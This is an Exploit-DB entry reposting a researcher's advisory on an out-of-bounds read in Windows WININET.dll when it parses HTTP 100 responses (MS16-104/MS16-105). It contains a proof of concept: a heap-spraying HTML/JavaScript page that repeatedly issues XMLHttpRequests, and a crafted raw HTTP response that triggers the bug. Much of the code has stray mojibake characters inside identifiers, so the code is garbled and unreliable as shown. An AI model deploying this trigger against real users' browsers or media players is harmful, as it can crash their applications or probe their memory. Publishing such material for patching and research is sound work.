Exploit-DB #40747
Description: Microsoft WININET.dll - 'CHttp­Header­Parser::Parse­Status­Line' Out-of-Bounds Read (MS16-104/MS16-105)
Type: dos
Platform: windows
Date: 2016-11-10
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted HTTP response can cause the CHttpôÙHeaderôÙParser::ParseôÙStatusôÙLine method in WININET to read data beyond the end of a buffer. The size of the read can be controlled through the HTTP response. An attacker that is able to get any application that uses WININET to make a request to a server under his/her control may be able to disclose information stored after this memory block. This includes Microsoft Internet Explorer, Microsoft Edge and Microsoft Windows Media Player. As far as I can tell WININET is widely used by Microsoft applications to handle HTTP requests, and probably be all third-party applications that use Windows APIs to make HTTP requests. All these applications may be vulnerable to the issue, though it may be hard to exploit in most (if not all, see below).

Known affected versions, attack vectors and mitigations

WININET.dll

The issue was first discovered in pre-release Windows 10 fbl_ôÙrelease[PII_REDACTED], which contained WININET.DLL version 11.00.9841.0. This vulnerability appears to have been present in all versions of Windows 10 since, up until the issue was addressed in August 2016. No mitigations against the issue are known.
Microsoft Internet Explorer
XMLHttpôÙRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.

Microsoft Edge

XMLHttpôÙRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.

Microsoft Windows Media Player

Opening a link to a media file on a malicious server can be used to trigger the issue.
Microsoft has released two bulletins to address this issue, one for Microsoft Internet Explorer and one for Microsoft Edge. I do not know why Microsoft did not mention other applications in their bulletins, nor why they have two fixes for these specific applications, rather than one fix for a component of the Windows Operating System.

One wonders what would happen on a system where you have previously uninstalled both MSIE and Edge: do neither of the fixes apply and will your system be left vulnerable? Let me know if you found out!

Repro

The below repro consists of two parts: an HTML file that constructs an XMLHttpôÙRequest in order to trigger the issue and a raw HTTP response that actually triggers it.
-->

<!DOCTYPE html>
<html>
  <head>
    <script>
      // This PoôÙC attempts to exploit a memory disclosure bug in WININET.dll
      // that affects Microsoft Edge and Internet Explorer. However, it fails
      // to reveal any information as intended. You might want to use this as
      // a starting point for further investigation.
      // See http://blog.skylined.nl/[PII_REDACTED]1.html for details.
      window.onerror = function (a, b, c) {
        alert([a,b,c].join("\r\n"));
      }
      var aauôÙHeap = [];
      function spray() {
        aauôÙHoles = [];
        for (var u = 0; u < 0x10000; u++) {
          var auôÙHole = new Uint32Array(0x200 / 4);
          aauôÙHoles.push(auôÙHole);
          auôÙHole[0] = 0xôÙDEADBEEF;
          auôÙHole[1] = 0x0D0A0D0A;
          auôÙHole[2] = 0x0;
          var auôÙHeap = new Uint32Array(0x200 / 4);
          aauôÙHeap.push(auôÙHeap);
          auôÙHeap[0] = 0x41424344;
          auôÙHeap[1] = 0x0D0A0D0A;
          auôÙHeap[2] = 0x0;
        }
      };
      function sendôÙRequest() {
        spray();
        var oôÙXHR = new XMLHttpôÙRequest();
        oôÙXHR.open("GET", "Response.http?" + new Date().valueôÙOf());
        oôÙXHR.send();
        oôÙXHR.addôÙEventôÙListener("load", function() { 
          alert("load: " + JSON.stringify(oôÙXHR.status) + " " + JSON.stringify(oôÙXHR.statusôÙText) + "\r\n" +
              JSON.stringify(oôÙXHR.responseôÙText));
          setôÙTimeout(sendôÙRequest, 1000);
        });
        oôÙXHR.addôÙEventôÙListener("error", function() { 
          alert("error: " + JSON.stringify(oôÙXHR.status) + " " + JSON.stringify(oôÙXHR.statusôÙText) + "\r\n" +
              JSON.stringify(oôÙXHR.responseôÙText));
          setôÙTimeout(sendôÙRequest, 1000);
        });
      }
      sendôÙRequest();
      // This work by SkyôÙLined is licensed under a Creative Commons
      // Attribution-Non-Commercial 4.0 International License. 
    </script>
  </head>
</html>

<!--
Response.http

HTTP/1.1 100 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

HTTP/1.1 200 X

Description

When WININET is processing a HTTP 100 response, it expects another HTTP response to follow. WININET stores all data received from the server into a buffer, uses a variable to store an index into this buffer to track where it is currently processing data, and uses another variable to store the length of the remaining data in the buffer.

When processing the headers of the HTTP 100 request, the code updates the index correctly, but does not decrement the length variable. When the code processes the next request, the length variable is too large, which can cause the code to read beyond the end of the data received from the server. This may cause it to parse data stored in the buffer that was previously received as part of the current HTTP response, and can even cause it to do the same for data read beyond the end of the buffer. This can potentially lead to informat